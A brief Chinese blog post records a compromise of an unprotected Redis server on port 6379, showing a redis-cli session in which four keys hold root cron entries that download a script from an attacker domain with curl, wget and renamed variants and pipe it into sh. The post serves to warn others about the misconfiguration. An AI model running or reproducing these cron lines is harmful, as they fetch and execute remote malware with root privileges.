Redis 6379 被攻击

全栈程序员站长

发布于 2022-08-27 10:51:40

1.6K0

大家好，又见面了，我是你们的朋友全栈君。

Redis 6379 被攻击

刚开始使用redis，把端口打开了，然后没有设置密码，导致被恶意攻击，这里记录一下。

[root@realguo ~]# redis-cli
127.0.0.1:6379> keys *
1) "backup2"
2) "backup1"
3) "backup4"
4) "backup3"

127.0.0.1:6379> get backup1
"\n\n\n*/2 * * * * root cd1 -fsSL http://zzhreceive.anondns.net/b2f628/b.sh | sh\n\n"
127.0.0.1:6379> get backup2
"\n\n\n*/3 * * * * root wget -q -O- http://zzhreceive.anondns.net/b2f628/b.sh | sh\n\n"
127.0.0.1:6379> get backup3
"\n\n\n*/4 * * * * root curl -fsSL http://zzhreceive.anondns.net/b2f628fff19fda999999999/b.sh | sh\n\n"
127.0.0.1:6379> get backup4
"\n\n\n*/5 * * * * root wd1 -q -O- http://zzhreceive.anondns.net/b2f628fff19fda999999999/b.sh | sh\n\n"